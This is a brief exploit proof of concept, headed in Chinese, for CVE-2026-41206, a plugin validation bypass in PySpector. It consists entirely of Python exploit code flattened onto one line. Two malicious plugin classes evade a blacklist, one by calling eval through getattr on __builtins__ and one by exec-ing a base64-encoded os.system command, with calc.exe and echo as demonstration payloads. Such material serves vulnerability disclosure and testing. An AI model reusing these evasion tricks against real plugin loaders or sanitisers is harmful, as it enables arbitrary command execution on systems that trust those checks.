CVE-2026-41206 PySpector插件验证绕过致代码执行漏洞

# PoC for CVE-2026-41206: PySpector Plugin Validation Bypass # This demonstrates a hypothetical bypass of the incomplete blacklist. # Malicious Plugin Content import base64 class BypassPlugin: def __init__(self): # The blacklist might miss obfuscated or indirect calls # Example: Using getattr to retrieve restricted functions self.payload = "__import__('os').system('calc.exe')" def run(self): # Indirect execution to evade simple AST checks for 'eval' or 'exec' # Assuming 'eval' is blocked, this uses a lookup approach eval_func = getattr(__builtins__, 'eval') eval_func(self.payload) # Alternatively, using base64 encoding to hide strings class ObfuscatedPlugin: def execute(self): # Decode and execute code = base64.b64decode("X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2VjaG8gdnVsbmVyYWJsZScp") exec(code)
